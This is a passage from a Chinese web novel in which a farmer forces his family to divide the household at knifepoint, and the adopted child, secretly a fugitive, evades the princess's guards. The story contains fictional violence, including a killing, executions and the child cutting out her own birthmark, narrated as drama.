稚嫩嗓音渐渐低下去,谢峥睡颜恬静而无害。
沈仪静静端详着,眸色明灭不定,谁也不知道她在想什么。
......
半个时辰后,谢义年从码头回来。
天色未暗,沈仪坐在灶房打络子,见了他也不说话,眼泪簌簌落下,湿透脸庞。
谢义年顿时慌了神,一个箭步走到沈仪跟前,为她拭泪,神情难掩心疼:“这是怎么了?”
沈仪将下午的闹剧说了,哽咽道:“且不论那些人为何大费周章地全城通缉,还谎称她是侏儒,她是送子娘娘送给我的孩子,老二这么做,是一点不给她活路,更是要把我们往死路上逼啊!”
“她还问我,我们是一家人,为何老二要害她,我都不知道该怎么回答她......”
沈仪泣不成声,谢义年一言不发走到灶台前,将菜刀别进裤腰带里,阔步往外去。
沈仪目送谢义年跨过矮墙,收了哭声,拭干泪水,继续打络子。
另一边,谢义年踹开堂屋门,三两下将谢老二放倒,雨点般的拳头落在他脸上。
谢家正吃饭,没想到谢老大会突然闯进来,不由分说大打出手。
谢老太爷脸色铁青:“老大,你这是在干什么?”
谢老太太拍案而起:“老大,给我住手!”
谢义年充耳不闻,锤得谢老二嗷嗷叫,毫无还手之力。
好半晌后,谢义年将谢老二揍成猪头,又抽出菜刀,抵在谢老二脖子上。
稍一用力,刀刃划破皮肉,鲜血汩汩流出。
在谢老二杀猪般的嚎叫中,谢义年踹翻饭桌:“分家。”
“不分家,我就宰了他。”
12. 012
谢老太太本就因为张刘二人的事儿闹心不已,这厢见谢义年把刀架在谢老二脖子上,瞬间炸了,龇牙瞪眼,恨不得将谢义年生吞活剥了。
“分个屁的家!不准分!”
谢老爷子坐在一地狼藉之中,浑浊的眼珠紧紧锁住谢义年:“爹娘在不分家,你是想咒死我跟你娘吗?”
“这话我可没说过。”谢老二挣扎,谢义年长腿勾来条凳,大马金刀坐下,脚踩在谢老二胸口,菜刀抵近,瞬间血流如注,“不过您若是执意这么认为,我也没办法。”
“老大!”
“小畜生,你说什么?!”
谢义年迎上两双盛满怒火的眼,毫无畏惧:“我说,我要分家。”
“我不同意!”谢老太太急赤白脸道,“不孝可是重罪,我要去官府告你,让你蹲大牢!”
谢义年嗤笑:“不孝?”
“您是指五岁洗衣做饭,八岁下地插秧,还是十五岁起伺候二三十亩地,农闲期间也不得闲,早起贪黑地做工?”
“明明家里不是穷得揭不开锅,您二位早年在富商家做事,也攒了一笔银子,却逼着我没日没夜地干活。”
“每每忙到深更半夜回来,连口热乎饭都没有,自个儿弄口吃的还要挨骂,饿一夜第二日继续卖苦力。”
“全村几百口人,你们随便拉一个问问,恐怕没人说我不孝。”
“我不说,我不抱怨,只是我念着自个儿是家中老大,不愿计较罢了。”
“可你们是不是忘了?早年间我在家当老黄牛,您二位可是逢人便夸我孝顺,说有我这个儿子,是你们最大的福气。”
谢义年本不是怨天尤人的性子,更不爱与人诉苦。
但他不说,不代表那些事情从未发生过。
所有人都欺负他,欺负他的娘子,他的孩子。
谢义年忍无可忍,不想再忍。
谢老太太脸上挂不住,狡辩道:“这年头哪个农家娃不干活,真当自个儿是地主家的公子爷呢?老二身子虚,老三要读书,我跟你爹又上了年纪,那些活儿你不干谁干?”
看,她永远在偏心。
哪怕是同样没有读书天赋的谢老二,都比他谢义年更得她的喜爱。
谢义年心平如水,不嫉妒也不难过,只冷声道:“废话少说,也别想拿报官威胁我。在官兵来之前,我会把您二位还有二房三房所有人杀光光。”
“黄泉路上有你们作伴,我也不算孤单。”
谢老二被谢义年打掉两颗牙,脸肿成猪头,这会儿勉强能开口,大着舌头喊:“答应他!快答应他!我不想死啊!”
谢二婶与妯娌和几个孩子缩在墙角,跟着附和:“反正大哥大嫂早已搬出去单过,跟分家没什么两样,不如干脆一点......”
“你给老娘闭嘴!”谢老太太打断谢二婶。
坐吃山空绝非长久之计,没了谢义年这个壮劳力,地里的活儿谁干?谁来挣钱,供老三和几个孩子读书?
谢老太太心里急,给谢老爷子使眼色,让他去请几位叔公过来,为他们做主。
谢老爷子习惯性探向腰间,却摸了个空,想起旱烟落在炕上了,咬紧腮帮子:“老大,你确定要分家?”
谢老太太震惊,老头子在说什么屁话?
谢义年不假思索:“确定。”
谢老爷子又问:“不后悔?”
谢义年掷地有声:“不后悔。”
他只后悔没有早点跟他们撕破脸,连累娘子随他吃了那么多苦头。
谢老爷子叹了口气:“老二......媳妇,你去请几位叔公过来,做个见证。”
谢老太太脸色大变:“他爹,这家不能......”
“爷们说话,轮不到你插嘴。”谢老爷子轻飘飘一个眼神过去,谢老太太像是被掐住脖子的鸡,鼓着眼不敢吱声。
早在谢义年闯进堂屋,持刀要挟的那一刻,谢老爷子就明白今日这事儿不能善了。
他是看重老三,但老二也是他的亲儿子。
更何况,这次的确是老二做错了。
没有十足的把握除掉那个小兔崽子,无异于引狼入室,害人害己。
想到张刘二人,谢老爷子脑瓜子生疼,实在没心思再与谢义年多做纠缠。
分就分吧,兔子逼急了还会咬人,更遑论是人。
至于地里的那些庄稼,花几个钱找人伺候便是。
二三十亩地,一年下来能挣不少哩。
谢二婶得令,爬起来就要往外冲,被谢义年叫住:“顺便请村长和余秀才过来。”
几位叔爷向着二房三房,算什么见证人?
谢二婶看向谢老爷子,后者挥了挥手,她欸了一声,一阵风似的卷出门。
......
谢家叔公和余家兄弟俩很快来到谢家,随之而来的还有好些村民。
他们听见谢老二的惨叫声,便一直留意谢家这边的动静,见谢二婶去请人,也都厚着脸皮跟了上来。
谢老太太气急败坏地甩上门:“看什么?都给老娘滚远点!”
村民们吃了个闭门羹,却都将堂屋里的景况看得一清二楚。
“乖乖,这次谢老大气狠了,都动刀子了。”
“谢老大也是能忍,我若是他,早八百年就跟那两个歪屁股的翻脸了。”
“这不是有二叔公几个镇着,不听话就会被除族,死后都不能埋进祖坟,那也太惨了些。”
堂屋里,谢二婶和谢三婶将地上的饭菜简单收拾了下,谢家人和六位见证人围桌坐开。
二叔公已经知道他们此行的目的,花白眉毛皱得死紧。
他们不是不知道谢老大不受重视,当牛做马受尽委屈。
可若想成就大事,必然有人要做出牺牲。
权衡之下,他们选择牺牲谢义年。
他们只是想老谢家出个官老爷,光宗耀祖而已,万万没想到,去年的过继风波之后,谢义年竟又生出事端。
二叔公不喜有人忤逆自己,沉着脸斥道:“老大,你弟也是为你好,你怎能恩将仇报?赶紧把刀收起来,往后还是好兄弟,别再提什么分家......”
“啊!”
谢义年一个用力,谢老二惨叫,鲜血瞬间染红菜刀。
在场众人眼皮狂跳,二叔公哪还敢继续劝说,自以为隐蔽地往谢义年反方向挪动,生怕挨上一刀,小命不保。
谢义年看向谢老爷子:“开始吧。”
谢老爷子清了下嗓子,回正屋取来一个红布包,当着众人的面打开,是白花花的银锞子。
谢二婶眼睛一亮,眼珠咕噜直转。
“这些年家里存了十五两,我跟他娘留六两养老,剩下的兄弟三个平分。”
“不过眼下仅长房分出去,二房三房的等百年之后再分。”
谢老爷子将三两银子推到谢义年面前,继续说:“我们老两口跟老三,以后你每个月给一百文钱即可。”
谢义年知道谢老爷子藏了钱,但他不在乎,爽快应下。
一百文也就三五日的工钱,权当买个清净。
分家继续。
“二十六亩地,老大得五亩,鸡鸭共二十只......”
谢老爷子将田地、
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家禽、锅碗瓢盆等扒拉一遍,因着余家兄弟俩在场,他不愿让外人看笑话,分配得还算公平。
当然,也有安抚谢义年,息事宁人的意思。
谢义年没什么意见,唯独一点:“这砖瓦房是用我挣的钱盖的,我也不全要,一间东屋。”
话音刚落,谢三婶便跳出来:“不行!东屋给了你,我们三房住哪?”
按理说,东屋应该给长房住。
可谁让谢老三是谢老太太的心尖尖,当初砖瓦房建成,便让三房住了进去,将谢义年夫妇撵去背阴的西南屋。
余成耀眉心跳了跳,神情不复温和,淡声道:“那就折成银子。”
谢三婶不乐意,对上亲爹冷厉的眼睛,登时汗毛倒竖,嘴唇一哆嗦,将话咽了回去。
谢老太太也有意见,却让谢老爷子抢先一步表了态:“可以,当初这房子里里外外花了十两,给你二两可好?”
谢义年伸出蒲扇大手,一把薅过银子:“成交,还有那两间黄泥房的地契。”
谢老爷子:“......行,给你。”
该分的已经分完了,余成耀提笔,拟写分家文书。
拟写完毕,谢义年和谢老爷子在纸上留下手指印,紧接着又是六位见证人。
至此,分家才算彻底结束。
谢义年收回菜刀,将谢老二踹出去,拿上银子地契田契和分家文书,将他的那份分两趟搬去隔壁黄泥房,而后打开砖瓦房的院门。
门外,是乌泱泱的村民。
众人正津津有味地听着谢老太太骂人,冷不丁跟谢义年打个照面,多少有点尴尬。
谢义年一清嗓子,扬声道:“我知道,大家对我家那孩子的身份有所怀疑。”
众人眼神闪烁,却都说不出一句否认的话。
谢峥来历不明,下午又被认作刺杀郡主的侏儒,他们心存警惕也属正常。
谢义年正色道:“不瞒大家,那孩子的确是我和娘子在凤阳山附近捡回来的。”
“她得了重病,估计家里穷,无钱医治,被她的家人扔到乱葬岗等死。”
“我和娘子恰好经过,见她还有一口气在,便将她带了回来。”
谢义年并未说谎,也不怕有人去查。
那日的确有人将一个孩子扔到乱葬岗,他们途经那处,想要救人却为时已晚,亲眼看着他断了气。
谢义年说罢,恳求道:“她大病一场,忘却前事,将我和娘子视为亲生爹娘,还请你们行行好,不要在她面前说些有的没的。”
村民们闻言,恍然大悟。
“难怪先前谢老二要说是你捡回的那孩子,你媳妇凶巴巴地打断了他,不让他继续往下说。”
“放心吧,我们不会乱说的,只是万一哪天她想起来了,要回去......”
谢义年心头像是被什么刺了下,有些不舒服,面上不显:“那我就送她回去,让她和她的家人团聚。”
众人唏嘘,谢老大可真是个实诚人。
谢义年郑重道了声谢,扭身直奔鸡窝。
谢老太太一直盯着谢义年,见状眉毛一竖:“你要干什么?你的鸡不是已经带走了?”
谢义年掐住一只母鸡的脖子,拖出鸡圈,头也不回地说:“老二让我家孩子受了惊,给她炖只鸡,补补身子,压压惊。”
说着,手下一个用力,扭断了鸡脖子。
谢老太太尖叫:“谢义年你个畜生,老娘跟你拼了!”
许是气得狠了,没注意脚下,被门槛绊住,摔个脸着地,当场晕死过去。
谢义年看都没看她,提着母鸡掉头走人。
13. 013
黄泥房里,沈仪正在整理分家所得的一应物什。
锅碗瓢盆收进橱柜,被褥塞进炕柜。
谢峥躺在炕上,无聊到玩手指,眼睛亮晶晶的:“阿娘,阿爹可真厉害,比夫子说的大将军还要厉害!”
沈仪忍俊不禁,屈指蹭蹭谢峥的脸:“这话你该当着他的面说。”
她的男人她最了解。
虽说谢义年早已对那些人失望透顶,但作为古代人,宗族观念重,自是不愿被除族,分家的事情因此一拖再拖。
男人嘛,还得激上一激。
谢义年早年有些愚孝,但是对沈仪没话说,最是受不住她掉眼泪。
再有谢峥的“亲人论”,分家一事自然水到渠成。
待谢义年回到家,迎接他的便是谢峥崇拜的眼神和一顿夸夸。
谢义年被谢峥夸得耳根子通红,臊得直挠头,憨态毕露,哪还有在隔壁大杀四方的威风,几乎落荒而逃:“娘子,我来帮你!”
谢峥翘起脚轻晃两下,心情挺不错。
经此一遭,她身上的嫌疑去了大半,算是安稳下来了。
谢义年也是个争气的,她把台子搭好,他便借机唱一出分家大戏,与二房三房还有偏心爹娘彻底划清界限。
谢峥感念谢义年和沈仪的恩情,不介意拉扯他们一把。
但她是个小心眼的,谢老二引来活埋原主的侍卫,她是一口汤都不想让那群吸血蚂蟥喝。
谢义年和沈仪动作麻利,很快收拾妥当,最后只剩两鸡两鸭在门口叽叽嘎嘎地叫唤。
沈仪关上橱柜,环顾四周,原本空荡荡的灶房拥挤许多,却格外有安全感:“赶明儿在屋后搭个圈,我再去挖点蚯蚓,摸点螺蛳回来。”
虽然已是腊月,但只要有心找,总能找到一些。
好吃好喝供着,鸡鸭才肯下蛋。
留一半卖钱,剩下的给孩子吃。
谢义年习惯今日事今日毕,一碗凉水下肚,阔步往外走:“趁天还没黑,我去把圈搭好,娘子你把门口那只鸡杀了,我记得家里还有些野蘑菇干,今晚上炖锅鸡汤,庆祝分家!”
沈仪眉头轻蹙:“家里就两只鸡......”
谢义年却是摇头:“我从隔壁拿来的,今日受了惊,给她补补身子。”
母鸡可养人,吃肉再喝汤,相信谢峥很快便能养好身子,可以像村里的孩子一样活蹦乱跳,肆意嬉戏玩闹了。
沈仪莞尔,眉眼染笑:“那我还得烧点热水,这么冷的天,冷水可不好褪毛。”
两口子相视一笑,在屋前屋后各自忙碌起来。
沈仪杀好鸡,放进锅里炖煮,去找谢义年:“夫君,明日我去朱大夫家一趟。”
谢义年扶着木板,用小锤敲敲打打:“我正有这个打算。”
朱大夫厚道,他们却不能仗着他的厚道得寸进尺。
如今分得五两银子,怎么也得将诊金和药钱还了。
谢义年想到今日的闹剧,很是自责:“都怪我口无遮拦,险些酿成大错。”
沈仪轻叹:“我也没想到她竟会是......”
世上没有绝对的巧合。
上午进城卖酱,在酒楼时听人提了一嘴。
那位风光迎娶荣华郡主的沈探花原本另有妻室,只是在进京途中惨遭山匪毒手,陛下怜他伶仃一人,遂下旨赐婚。
再联系侍卫口中的沈萝,以及通缉令中的地点——凤阳山,屋里那孩子的身份不言而喻。
至于官府对外宣称沈萝是女子,沈仪并未多想。
她不识字,自是不知“沈萝”二字该如何写。
谢峥是男孩,她便先入为主,认为沈探花的孩子也是男孩。
那些丧尽天良的将一个孩子说成是侏儒,自然也能将男说成女。
理清其中关窍后,沈仪愤怒之余,竟生出窃喜。
沈萝惨遭亲生父亲活埋,父子之间隔着生死之仇,绝无和好如初的可能。
如此一来,她便能永远留在这里。
留在福乐村。
留在她的身边。
冷静下来后,沈仪为自己的心思感到不齿,手掌覆在谢义年手臂上:“夫君,我们往后要加倍对她好。”
虽不知那两人为何没认出谢峥,好在平安渡过此劫,具体原因也没那么重要了。
谢义年想起初见谢峥时她的惨状,用力点头:“从今往后,她就是我们的孩子。”
我们的孩子。
沈仪眉眼晕染笑意,真好啊。
......
却说谢老太太被门槛绊倒,摔晕过去,还磕破嘴唇,血流一地。
家里刚破了财,谢老爷子哪里舍得在一个老婆子身上花钱,让谢老二将人抱到炕上,擦干净血便不管了。
这厢谢老二刚走出正屋,不经意扭头,正对上两双阴森森的眼。
赫然是张康年和刘朔。
谢老二只觉他们的眼神跟刀子似的,咕咚咽了口唾沫:“官、官爷,你们醒了?”
张康年浑身疼,脑瓜子更疼,对谢老二没什么好脸色:“废物东西,你真是害惨了我们!”
他们醒来有一会儿了,自然听见谢义年对谢峥身份的解释。
那谢峥的面貌可以说与沈萝毫不相像,即便这世上真的存在易容邪术,沈萝一个大字不识的野丫头,哪有这等本事?
他们来之前信誓旦旦地保证,定会将沈萝带回去,结果却
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跑了个空,郡主定不会放过他们,乱棍打死都是轻的。
张刘二人倒是想跑路,又舍不下家人,心中郁闷可想而知。
这会儿见了谢老二,怒火自是一股脑全奔着他去了,真真是恨不得将他剁成臊子喂狗!
谢老二冷汗直冒,舌头都捋不直:“官、官爷,草民也没想到会这么巧,只是听闻大哥从凤阳山将她捡回来,便以为是那侏儒。”
刘朔冷笑,一把揪住谢老二的衣领,直奔门口:“跟我说没用,去跟郡主解释吧。”
是的,他打算将一切过错都推到谢老二头上,以保全自身。
谢老二差点吓尿,他只是想拿了赏银买酒喝,不想死啊!
“官爷饶命!官爷饶命呐!”谢老二鬼哭狼嚎,忽然脑中凭空掠过一道白光,他灵机一动,“官爷,我有个主意,不知当说不当说。”
刘朔不屑,一个贱民能有什么好主意?
张康年却道:“你说。”
刘朔顿了顿,停下来,却没松开谢老二。
谢老二语速极快地说道:“郡主和探花老爷要抓那侏儒,您二位何不去人市逛逛,找个与那侏儒模样相似的,以假乱真......”
张刘二人对视,颇有些意动。
那沈萝虽五官清秀,却并未长开,有心寻摸的话,还是能找到与其相像的替代品的。
刘朔心中已有定论,松开谢老二。
然而不待谢老二松口气,张刘二人沙包大的拳头猛地砸上来。
谢老二先前挨了谢义年一顿揍,这会儿又来一顿混合双打,结束时已然出气多进气少,血葫芦似的躺在地上,一动不动。
勉强出了气,张康年踹开堂屋门,冲着谢老爷子狞笑:“喂,老头,把你家所有银子都拿出来。”
谢老爷子哪敢反抗,颤巍巍奉上十二两银子。
张刘二人得了银子,满意离去。
谢老爷子胡子颤了颤,两眼一翻,直挺挺向后栽倒。
......
张刘二人骑着马来到青阳县最大的人市,一番寻摸后,还真找到一个符合条件的女孩。
花二两银子将人买下,来到无人处,一刀捅下去,女孩当场气绝身亡。
张康年将女孩的尸体横放在马背上,披着夜色赶路。
刘朔莫名想起谢峥,她那张脸在脑海中反复浮现,忍不住轻嘶一声:“老张,你有没有觉得,谢家的那个小兔崽子有点眼熟?”
张康年仔细一想:“还真是,总觉得在哪见到过,却又想不起来了。”
想不起来,那便作罢。
两人不再多言,紧握缰绳逆风疾驰,回凤阳县复命去。
希望能顺利蒙混过关。
14. 014
谢家的母鸡养了两年,一直精心伺候着,十分肥美,佐以泡发的蘑菇干和青菜,炖了满满一大锅。
谢峥趴在炕上翻看《说文解字》,被那股子浓郁香气勾得肚子咕咕叫。
谢峥深呼吸,揉揉鼻子,摒除杂念埋头苦读。
大周朝的小部分文字与繁体字还是有区别的,家中并无笔墨纸砚,便以指为笔,在塞满稻壳的枕头上写写画画,强化记忆。
谢峥给自己定个小目标,争取五日内掌握这些文字,然后再在余夫子面前表现一番,巩固一下神童人设。
多看多练,问题不大。
前提是没有外界的诱惑。
为了供沈奇阳读书科考,原主常以野菜为食,一年下来唯有除夕才能尝到一口荤腥。
这具身体严重缺乏营养,被无孔不入的鸡肉香勾出馋瘾,此时疯狂叫嚣着,催促谢峥大口吃肉,大口喝汤。
“咕噜——”
又一声响,谢峥推开字典翻身下炕,趿拉着草鞋去灶房,扒在门框上往里看。
“阿娘,需要我帮忙吗?”
稚嫩嗓音响起,沈仪用湿抹布擦了擦手,揭开锅盖夹起一块鸡肉:“的确有一件事情需要你帮忙。”
谢峥竖起耳朵听。
沈仪招手:“来帮我尝尝,这鸡肉烂不烂。”
谢峥美滋滋上前:“啊——”
沈仪吹两下,谢峥一口叼住。
肉质鲜嫩,一抿脱骨。
谢峥眼睛亮晶晶:“好吃!”
说罢忽然想起什么,一把捂住嘴,又放下,耳尖泛红:“阿娘,这鸡肉十分软烂,可以出锅了。”
沈仪忍笑,又喂了谢峥一块:“吃完去屋后叫人,可以开饭了。”
谢峥嘴巴忙得很,吃完才矜持开口:“阿娘的厨艺真好,这样的鸡我一口气吃一百只也不会腻。”
“一百只不得撑破肚皮?”沈仪唇角笑意更甚,轻点谢峥鼻尖,“去吧,小馋猫。”
她可不就是馋猫转世,跟没见过肉一样,闻着味儿就来了。
谢峥腹诽,蹬蹬往外跑:“阿爹!阿爹!开饭啦!”
......
这一夜,谢峥还有谢义年两口子都吃得肚皮滚圆,满足地躺在烧得暖烘烘的炕上,酣然入睡。
至于隔壁?
既已分家,谁还管他们的死活。
只要不死,不影响谢峥报考科举,他们越倒霉,她越是兴奋。
-
翌日一早,谢峥用过朝食,去村塾上课。
陈端已经到了,正摇头晃脑背书。
谢家三个孩子的座位倒是空着,又是破财又是见血,今日估计是来不了了。
“喏,你的书。”谢峥将百三千放到陈端面前,道谢后话锋一转,“从今日起,你不必再借书给我了。”
陈端不知想到什么,瞪大双眼:“你都会背了?还是说......这上面的字你都认清了?”
除却《三字经》,另两本近两千字,当初他可是用了一个多月才背熟。
谢峥用一个晚上做成他一个多月才做成的事情,她还是不是人?
谢峥不知她疑似被开除人籍,摇头说道:“我已背完《百家姓》,另一本只背了小半。”
“我不会写字,没法抄书,总不能一直向你借,万一影响到你读书,那多不好意思。”
“所以我昨日向夫子借了一套百三千,他还给了我一本《说文解字》。”
谢峥说着,从沈仪连夜缝制的书袋里取出一本书页微微泛黄的《三字经》。
陈端瘪嘴,他才不会说他是嫉妒了。
会背书不说,夫子还这么偏心,真是气死他了!
不过陈端还挺喜欢眼前这个小病秧子,姑且大人有大量,不跟她一个小孩计较。
“对了!”陈端一拍脑门,“昨日究竟是怎么回事?”
谢峥抠手指,看起来有些不安:“二叔说我是官府的通缉犯,带人来抓我。”
“通缉犯?”陈端咧嘴嘎嘎笑,“怎么可能!”
那可是通缉犯!
凶神恶煞,茹毛饮血的通缉犯!
再看谢峥,小脸煞白,瘦得跟纸片似的,一阵风就能吹跑,怎么看都不像是通缉犯。
陈端啧啧有声:“你二叔真会瞎扯,好在你人没事,否则你爹娘怕是要哭瞎眼了。”
村里人都晓得,谢家老大两口子成婚多年,膝下也没个一儿半女。
好不容易遇到个合眼缘的孩子,可不得哭瞎眼。
几乎是话音刚落,谢峥的拳头不轻不重砸到陈端胳膊上。
“嗷!”
陈端大叫,在周遭同窗看过来的瞬间捂住嘴,怒瞪谢峥:“你竟然敢打我?!”
谢峥瞪回去:“我就打你了,谁让你说我阿爹阿娘!”
陈端:“???”
不是,他说什么了?
难不成是哭瞎眼?
陈端翻白眼,他只是假设一下,又不是真的。
夸张!夸张懂不懂?
谢峥却不管,将课本往陈端的反方向挪,连人带凳子坐到课桌的边边上,左脸写着“冷漠”,右脸刻着“无情”。
陈端:“......不是,你误会了。”
他试图靠近,谢峥扭头,龇牙作凶狠状。
仿佛只要他再敢靠近,便一脚将他踹到天边去。
陈端:“......”
人不大,脾气却不小。
谁还不是被宠着长大的,陈端也来了气性,气鼓鼓搬着凳子坐到课桌另一边。
待余成耀走进课室,一眼便瞧见板着小脸坐在课桌边边上,明显在赌气的两人。
再看他们之间的距离,再坐两个人都使得。
余成耀嘴角抽搐两下,寻思着不像是什么大矛盾,便不管两个怄气的小孩,翻开课本,按照老规矩,先通读《三字经》,随后逐字逐句展开讲解。
一节课结束,陈端随手将毛笔一扔。
毛笔骨碌碌滚到谢峥面前,她眉头一竖,一把抓起毛笔。
陈端以为谢峥要砸他,下意识一缩脖子。
却见谢峥用毛笔另一头在课桌上虚虚划出一条不存在的三八线:“谁先过线,谁就是小乌龟。”
陈端:“???”
路过的余夫子:“......”
-
张刘二人连夜赶路,于寅时初回到沈家村。
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>待荣华郡主和沈奇阳起身,已是日上三竿。
张刘二人求见,入内后磕头问安:“郡主,老爷,沈萝就在外面,只是抓捕过程中出了点意外,已经死了。”
荣华郡主和沈奇阳移步屋外,一眼便瞧见那衣衫褴褛,鲜血染身的女孩。
女孩死去已有数个时辰,即便是冬日,仍有尸臭传出。
荣华郡主嫌恶地掩住口鼻:“夫君,是她么?”
张刘二人心脏提起。
沈奇阳屏住呼吸,定睛看去。
过去多年里,他日日苦读,鲜少与沈萝相处,虽记得她的容貌,却不甚清晰。
这厢一眼望去,沈奇阳便颔首:“不错,是她。”
荣华郡主与张刘二人皆松了口气。
前者为一雪前耻,后者则为顺利蒙混过关。
荣华郡主转身进屋,轻描淡写开口,仿佛那女孩只是路旁的一株野草:“既然如此,便将她处理了吧。”
一卷草席扔去乱葬岗,火烧或沉河,怎样都好,反正不是什么要紧的人。
张康年恭敬应是,正欲与刘朔将女孩弄走,毁尸灭迹,却听得沈奇阳突然出声:“等等。”
两人的心瞬间提到嗓子眼。
沈奇阳双眼微眯,指向刘朔:“你去,掀起她右侧衣袖。”
刘朔后背冷汗涔涔,僵立须臾,在荣华郡主玩味的眼神下走上前,掀起女孩的衣袖。
沈奇阳定睛看去,旋即语气笃定地表示:“她不是沈萝。”
张刘二人眼前一黑。
完了!
荣华郡主一挑眉:“夫君何出此言?”
沈奇阳并指指向女孩手腕内侧:“沈萝的那处有一块红色胎记。”
而女孩没有。
刘朔双腿一软,扑通跪地,磕头如捣蒜,不消多时额头便血流如注。
“郡主饶命!老爷饶命!都是张康年,是他想出来的这个馊主意,奴才完全是受其胁迫,还请郡主饶奴才一条狗命吧!”
张康年万万没想到,刘朔为了活命居然诬陷他,当下不甘示弱,将在福乐村发生的事情悉数告知两位主子。
“都是那谢义茂见钱眼开,狗胆包天欺瞒郡主和老爷,还请郡主看在奴才这些年没有功劳也有苦劳的份上,饶奴才一命!”
“一次不忠,百次不用。”荣华郡主轻抚染着蔻丹的指甲,在张刘二人惊恐的眼神中轻声言语,“乱棍打死。”
“是!”
旋即有侍卫上前,不顾张刘二人的挣扎与求饶,将其拖到别处行刑。
屋内,沈奇阳为荣华郡主斟茶:“郡主,您以为福乐村的那个孩子......”
荣华郡主浅呷一口:“自是要斩草除根。”
沈奇阳与她不谋而合:“为夫这便派人前去福乐村核实。”
其实他完全无需核实,直接杀了那个孩子便是。
奈何凤阳府知府刚正耿直,早前的通缉令已让他万分不快,若是让他知晓他们滥杀无辜,恐怕无法善了。
在外乞讨数月,沈萝早已不成人形,张刘二人认不出也正常。
胎记刻入体肤,便是强行剜去,也会留下疤痕。
无论沈萝逃到何处,都得死。
15. 015
散了学,谢峥连招呼也不打一个,背上书袋蹬蹬冲出课室。
一边跑,一边咳。
那动静,听得陈端眼皮直跳,又气又无奈,还有些委屈。
他觉得谢峥这个新朋友很有意思,真没想惹她生气啊!
谢峥气呼呼回到家,沈仪正在灶房烙饼。
刚出锅的面饼冒着热气,白生生的,看起来蓬松又暄软。
谢峥摸摸肚皮,蹭到沈仪身边:“阿娘,我回来了。”
沈仪捻起一块饼,吹两下,递到谢峥唇边:“小口吃,当心烫。”
谢峥嚼嚼嚼,满口小麦的清香,却不似往常那般笑得见牙不见眼,大夸特夸。
沈仪定定看她几眼,眉头微蹙:“为什么不开心?”
自家孩子乖巧又嘴甜,绝不可能与人闹矛盾,多半是受欺负了。
谢峥将她与陈端的小争执告诉沈仪,忿忿握拳:“他太过分了,怎么能说阿爹阿娘哭瞎眼呢!”
沈仪哭笑不得:“他只是随口一说,没有坏心的。”
谢峥鼓了鼓脸,憋着气不吭声。
沈仪轻叹,想去摸谢峥的脸,手上沾着面粉,只得作罢,柔声细语道:“他是在关心你的安危,关心我们一家三口,不关心你的人只会冷眼旁观,看咱家的笑话,明白吗?”
“明白了,就像二叔,明明是一家人,却要把我抓走,送给那个什么郡主,真是坏透了!”谢峥煞有其事地点头,“阿爹阿娘最爱我,离了我不行。”
沈仪怔了下,心软得一塌糊涂。
谢峥像是一缕光,照进她和年哥灰暗的人生。
给予他们慰藉,给予他们快乐。
沈仪不敢想,昨日那两人若是得逞了,她该如何是好。
希望到来又破灭,她一定会疯掉的。
沈仪三言两语哄好谢峥,让她自个儿去玩,继续烙饼。
烙完饼,她还得再打几个络子。
虽然还清了钱,分家所得的五两还剩三两,足够很长一段时间的吃穿嚼用,可谁让沈仪是个闲不住的勤快人,而今家里又多了个孩子,她聪慧机敏,是个读书的料子,自然得多多挣钱。
谢峥嘴上应着,回东屋后却是继续翻看《说文解字》,学习大周朝的文字。
谢峥先将昨日所学复习巩固一番,她翻得很快,一边翻看一边在桌面上写写画画,不消多时便复习完毕继续往下看。
待谢义年从县城回来,谢峥写得多了,手指头都红了,隐隐作痛。
这样下去也不是个办法,谢峥跑去找谢义年:“阿爹,家里还有木板吗?”
谢义年正在洗脸,大掌将巾帕按在脸上,一通揉搓,谢峥看着都替他脸疼:“要木板做什么?”
谢峥将红通通的手指递到他眼前:“我在学认字,在桌上写不太方便,手也疼,打算用木板和树枝练习。”
识字可是头等大事,谢义年表情一肃,当即丢了巾帕,从屋后取来一块木板,削去毛刺后冲洗干净:“昨儿刚好还剩一块,拿去用吧。”
“阿爹最好啦!”谢峥欢呼,将木板抱在怀中,扭身钻进东屋。
沈仪在灶房里吆喝:“先吃饭,明日再看也不迟。”
谢峥嗯嗯应着,将木板放在自己的枕头底下,又去灶房的柴火堆里找了根不粗不细的树枝,这才坐下用夕食。
今晚的伙食是糙米粥和面饼,以及腌制的萝卜干。
谢峥捧起碗,稀溜溜喝上一大口,再咬一口饼子。
好一个主食配主食!
沈仪嚼着萝卜丁,叮嘱谢峥:“下午去朱大夫家,路上碰到了兰英婶子,她家的三石过两日成亲,请我明日过去帮忙,你乖乖待在家里,把门从里面锁上,谁敲门也别开。”
村塾十日一休沐,明日便是休沐日。
谢峥问:“阿娘何时能回来?”
“估计要到傍晚时候。”沈仪笑着道,“后日带你去吃席,顺便认认人。”
既有融入福乐村的打算,谢峥自然不会拒绝沈仪的好意。
用过夕食,谢峥趁着天还没黑透,又看了会儿《说文解字》,捏着树枝在木板上划拉,沈仪三催四请才停下,洗漱歇下。
-
翌日,谢峥一觉睡到自然醒。
家里静悄悄的,沈仪和谢义年早已出门,而她竟毫无觉察。
谢峥用力搓两下脸,搓走瞌睡虫,坐在炕上发了会儿呆,呼叫系统:“我要兑换祛疤丹和止血丹。”
【宿主至今仍未还清利息,请三思而行。】
谢峥当然知道,但比起赊账和利息,显然小命更重要。
【祛疤丹,5积分/枚】
【止血丹,5积分/枚】
【购买成功,已自动扣除积分】
【当前积分:-10】
流光掠过,谢峥手里多出两枚丹药。
谢峥将其放在枕边,取来灶房里用来接屋顶雨水的破碗,放在小木凳前。
而后反锁上门,挽起衣袖,露出细瘦小臂,从针线筐里找出剪刀,用清水反复冲洗,又在烛火上炙烤片刻。
火光在浅褐色眼眸中跃动,谢峥伸出小臂,没有一丝犹豫,手起刀落,剜下那花生大小的红色胎记。
鲜血蜿蜒流下,滴入下方的破碗中,晕开大片刺目的红。
剧痛袭来,谢峥浅浅吸气,凭直觉摸到止血丹,塞入口中。
将破碗踢到桌底下,确保地面没有留下血迹,靠在炕上闭眼假寐。
......
村塾不远处的枣树下,几个妇人一边纳鞋底,一边闲谈。
见谢二婶一趟趟从河边挑水,谢老二坐在门口吃花生,脸上青一块紫一块,妇人唏嘘:“真是活该挨打。”
“谁让他把主意打到孩子身上,真当谢老大是吃素的。”
提起孩子,陈端的母亲忍不住说道:“谢老大家的那个脾气可不小,端哥儿不过说了句‘你若出了事,你爹娘怕是要哭瞎眼’,她便对端哥儿甩脸子,还在桌上画了条线,不准端哥儿过线,否则就是小乌龟。”
妇人们又是震惊,又是好笑。
“小乌龟?还真是孩子气性。”
“一个病秧子
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气性这么大,也不知谢老大两口子图什么。”
